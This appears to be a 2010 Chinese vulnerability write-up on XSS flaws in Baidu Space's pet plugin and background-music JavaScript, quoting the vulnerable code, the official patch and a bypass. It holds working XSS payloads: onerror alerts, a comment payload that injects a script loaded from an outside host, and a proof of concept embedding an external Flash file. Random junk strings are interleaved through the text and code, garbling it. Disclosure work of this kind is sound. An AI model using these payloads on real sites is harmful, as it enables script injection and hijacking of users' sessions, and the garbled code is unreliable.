百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 2 ~% k# e- ^3 D8 r
2 v# w" A% r! D' t
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
/ b9 m+ [8 O* j' j0 c( H7 y2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 , K. O) y9 ~5 Q% e! r. {5 W
" D/ X' L% {0 B4 D5 D/ K
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
' t% t) m" v5 B: R" |" J* M" w其中BdUtil.insertWBR为
0 f% q, e; V9 afunction(text, step) { 2 n% ? P% H& _
var textarea = textAreaCache || getContainer(); ) Z% \: q8 F+ z& B0 S: t
if (!textarea) { 4 n( l; V' B$ u( s4 V# e
return text;
3 q' a& \+ b/ ?: `5 G+ }5 d. X } ( \7 M- M% j3 j5 k& b
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + @# Z6 Z) o: }( h7 ]0 x
var string = textarea.value;
6 C c5 |9 A5 w8 k! x* ~* l var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 0 H/ E1 x3 i; u; J& n
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); $ H& T1 x. I: ?5 L% f
return result; $ L# L. v* r# k5 S2 @0 s
} ) _6 Y# M B; y' Z8 X0 H' {
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 5 a4 Z0 b- d. [
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
0 G2 {, k) f' t: a$ a5 U% \2 J; u6 ?' Y + X2 r7 {2 ?- a( }) L! Y" U& ?( j% x
二:creatbgmusic() Dom-Xss Bug
! \2 Z ]0 u t' \1 U百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
7 H+ X% l7 K3 c% K: _. S9 a2 V, Z# z0 d n
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
6 l0 v& ~& w8 y7 D. U. [% w+ S- `5 M
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
* D: O% p9 S9 l, v //传入的murl赋值到bgmusic1和bgmusic2中 G6 R& F6 P/ b0 g0 ?1 D u
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 $ x6 n/ j3 o. T6 o8 L
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
- s! \% i O8 D: v if (musicnum <= 1) {
% m2 b& o/ d) Y% k3 ~' P bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
& x; c# F) n2 T% O }
- j' I/ r$ r3 I, ]. O% T9 v$ \ bgmusic1 += "</OBJECT>";
% v0 C) X/ M' Z- m) C9 N var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
' ?$ {4 p' k. Q _5 G if (musicnum <= 1) {
8 R) Y4 U/ c [% ?& s bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; * O3 w+ j# N z8 P
} 3 Q% s2 [: e2 U6 r" G
bgmusic2 += "> </EMBED>";
% K3 W* b" o+ W5 `" d7 i var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
& j' j3 }7 d9 h- V t2 ] var bgmus = detectWMP();
2 [. e# N4 s# k7 U! V3 F8 } if (functype == "FckMusicHelper") {
/ L$ k" c m5 M1 W! j! ^; I if (bgmus.installed) {
3 `6 ]* m4 }9 N. B7 k$ z6 U! X if (bgmus.type == "IE") { 1 ?9 z" o5 q/ A4 h
return bgmusic1; , d( X" t6 M* ^
} else if (bgmus.type == "NS") {
5 k* o, {. b# n. s$ }8 `$ U" X) A1 c5 K return bgmusic2;
" \. D: {. O/ `8 ?9 c) k } 6 l; Q6 O( n" C5 \" n
} else {
! ^* ~( x$ A$ R* ^) ^* E return bgmusic3; ; ~/ i9 t" h }) f* k5 P* Q
}
2 c, A, z) x+ s% E9 F7 ~% b } else {
1 v9 _3 h5 _0 \' R( n4 b( O4 o( n6 B if (bgmus.installed) { $ ^4 v+ B, d: S
//document.write 直接输出bgmusic变量 导致xss
2 R7 G# }5 P" S$ M* H B if (bgmus.type == "IE") {
2 k( X- f0 V) l document.write(bgmusic1); 5 ?! r/ c3 w* F+ d# I* X: ^7 w, M
} else if (bgmus.type == "NS") {
+ S+ E* w/ _7 R& ?" G; u document.write(bgmusic2);
# g7 _8 X+ F, y. K/ f }
t; e) I, l* A } else { 3 M/ Y4 T0 u" Y; C" g4 Y; h. i0 f7 V
document.write(bgmusic3); # O0 X* j' X _' c* S- W& Q/ N
} ' ]* K f+ N8 N
return ""; # M0 G( C7 q0 G! B7 M7 N
} 1 ?0 y$ ?8 b" m1 c
} . N+ B% w, K+ P+ h1 S
) w* U+ ?. w5 N; I
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: + ^ B: [9 J/ q6 x& K
' ]" T$ ~- J. j! |4 ^- e3 Efunction initBlogTextForFCK(){
% v7 e7 {! {6 a1 Z1 R. w//fck init music
% r: |/ A. e, ~& Wif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} * ^, T, {: v; {" O$ u3 d2 z% v
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
S1 g9 m0 w1 ]& c5 G% fvar isAutoPlay=true; / ]4 g4 p6 F# |, A, i, m: I
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 8 z$ A# c$ w7 m! a: n
var img=imgBox;
( }( X' |6 g* ? if(img.getAttribute(’rel’)){
) Y! R$ }1 o8 f% h var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc ' k0 G: w3 A& W- c: C: `
var musicDiv = document.createElement("SPAN");
. m% ~6 b0 q1 D! N var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ; ]6 o6 [; B. D5 I+ X% h! J
! A8 F" @6 G+ S6 e! ]' {# I8 x .......................... , G6 W0 M" A( k. o
; B; B7 ~9 k- R2 L' ~
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
f* p5 l1 G1 [3 w" h5 E var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ E: Q1 Q$ _$ u shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
9 a* O3 K% ?& }4 \( M: ^1 z musicDiv.innerHTML=shtml; 3 A9 F* b- i* _! r* B o7 d; I" V( n8 T
i--;n--; ; }8 p- `" I2 \# ~0 | I" b0 e
}
7 i5 A2 _) A3 M}
0 ~* q! m' Q% W) g- I. k0 S% ~2 R7 I; V( d. T; B: G
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
1 p" W. |: D& S T
0 F7 d8 c0 Z# k: ?0 B! e测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
" g+ h# ~% g; k4 p* }
% I) E% o# a7 q8 @- ^. X0 K% a等待官方补丁 $ K' ^4 p3 C1 A5 y1 B5 n
: u/ k8 {8 L! x. s& b
update 2010年5月13日
7 P- T' H* V+ q1 u- L2 p* ^( `+ p0 V0 M6 J5 b8 c( L: ?
官方补丁:
4 a. D3 X/ L4 F: ?: B& l2 {2 N# x
0 l& y# o1 {) \9 |: i. Tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * O4 l% U. U, ~5 i: B# d
改为:
- E' A* U+ ]' c2 \3 Y- R- h7 mvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); % [5 ?7 ? ?9 @2 x8 F- _& |& F
# ^0 f1 d: u. Dupdate 2010年5月13日 21:50:37
: G* N6 h8 i, D: ^. J" i
X) ^" M' V3 U% i7 S9 I补丁存在漏洞 没有过滤" 可以继续跨: 3 Y/ s2 _& C0 Q9 |
8 z# `+ Q# |2 G3 k4 cNEW POC:
- j, |: Z6 U$ f; ^7 M, s
6 F+ z; N T6 H1 J0 E: Z3 [<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
2 r7 U' h& d- L# w& ~, u, n5 P" Y* v' V8 t% _5 ^; C
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>* v- z1 d2 x1 r0 B2 j
6 t* h0 w2 n$ e4 ~% _ |